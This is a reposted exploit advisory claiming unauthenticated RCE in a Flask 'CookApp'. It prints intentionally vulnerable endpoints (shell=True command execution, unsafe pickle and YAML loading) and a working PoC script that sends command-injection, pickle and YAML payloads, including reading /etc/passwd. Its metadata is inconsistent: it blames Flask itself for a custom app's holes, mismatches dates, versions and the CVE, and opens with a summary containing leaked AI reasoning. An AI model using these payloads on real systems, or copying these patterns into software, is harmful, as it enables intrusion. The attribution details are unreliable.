Flask 3.1.2 CookApp - Multiple - RCE-Unauthenticated-access
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内,并且不需要特定的开头。首先,我得仔细阅读用户提供的文章内容。 这篇文章主要讲的是Flask 3.1.2版本中的CookApp存在多个未认证的远程代码执行漏洞。漏洞包括命令注入、Pickle反序列化和YAML反序列化三种。这些漏洞的CVSS评分很高,达到了9.8,属于严重级别。 接下来,我需要提取关键信息:Flask版本、漏洞类型、影响和评分。然后,把这些信息用简洁的语言组织起来,确保不超过100字。 可能的结构是:Flask 3.1.2 CookApp有三个RCE漏洞,分别是命令注入、Pickle和YAML反序列化,允许未认证攻击者执行任意命令,CVSS 9.8。 最后检查字数是否符合要求,并确保表达清晰准确。 </think> Flask 3.1.2 CookApp 存在三个未认证的远程代码执行漏洞:命令注入、Pickle 反序列化和 YAML 反序列化。这些漏洞允许攻击者在目标系统上执行任意命令,CVSS 评分 9.8(严重)。 2025-12-9 21:44:13 Author: cxsecurity.com(查看原文) 阅读量:2 收藏

Flask 3.1.2 CookApp - Multiple - RCE-Unauthenticated-access

# Exploit Title: Flask 3.1.2 CookApp - Multiple - RCE-Unauthenticated-access # Date: 2024-12-07 # Exploit Author: nu11secur1ty # Vendor Homepage: https://flask.palletsprojects.com/ # Software Link: https://pypi.org/project/Flask/ # Version: 3.1.2 # Tested on: Linux (Ubuntu 22.04), Docker containers # CVE: CVE-2025-55182 # Category: Remote Code Execution # Platform: Python/Flask 1. Description ============== A vulnerable Flask application (CookApp) contains multiple critical security vulnerabilities that allow unauthenticated remote attackers to execute arbitrary commands on the target system. The application contains three distinct Remote Code Execution (RCE) vectors: 1. Command Injection via `/api/run` endpoint (CWE-78) 2. Pickle Deserialization RCE via `/api/load` endpoint (CWE-502) 3. YAML Deserialization RCE via `/api/yaml` endpoint (CWE-502) CVSS 3.1 Score: 9.8 (CRITICAL) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H 2. Vulnerable Code ================== ```python # Vulnerable endpoint 1: Command Injection @app.route("/api/run", methods=["POST"]) def run_cmd(): cmd = request.json.get("cmd", "whoami") # VULNERABLE: shell=True with user input output = subprocess.check_output(cmd, shell=True) return {"output": output.decode()} # Vulnerable endpoint 2: Pickle Deserialization @app.route("/api/load", methods=["POST"]) def load(): data = request.get_data() # VULNERABLE: pickle.loads() with untrusted data recipe = pickle.loads(data) return {"status": "loaded", "recipe": str(recipe)} # Vulnerable endpoint 3: YAML Deserialization @app.route("/api/yaml", methods=["POST"]) def import_yaml(): yaml_data = request.data.decode() # VULNERABLE: yaml.load() instead of yaml.safe_load() data = yaml.load(yaml_data, Loader=yaml.Loader) return {"data": str(data)} [+]PoC: ```py #!/usr/bin/env python3 # https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/2025/flask-3.0.0-RCE/PoC.py # nu11secur1ty import requests import pickle target = "http://vulnerable-host:5000" # 1. Command Injection (simplest) resp = requests.post(f"{target}/api/run", json={"cmd": "cat /etc/passwd"}) print("Command Injection Output:", resp.json().get('output', '')) # 2. Pickle RCE class RCE: def __reduce__(self): import os return (os.system, ("id",)) payload = pickle.dumps(RCE()) resp = requests.post(f"{target}/api/load", data=payload) print("Pickle RCE Status:", resp.status_code) # 3. YAML RCE yaml_payload = """!!python/object/apply:subprocess.Popen - ["sh", "-c", "whoami"]""" resp = requests.post(f"{target}/api/yaml", data=yaml_payload) print("YAML RCE Status:", resp.status_code) ``` ### Demo: [href](https://www.patreon.com/posts/flask-3-1-2-rce-145264728)



 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


Copyright 2025, cxsecurity.com

文章来源: https://cxsecurity.com/issue/WLB-2025120005
如有侵权请联系:admin#unsafe.sh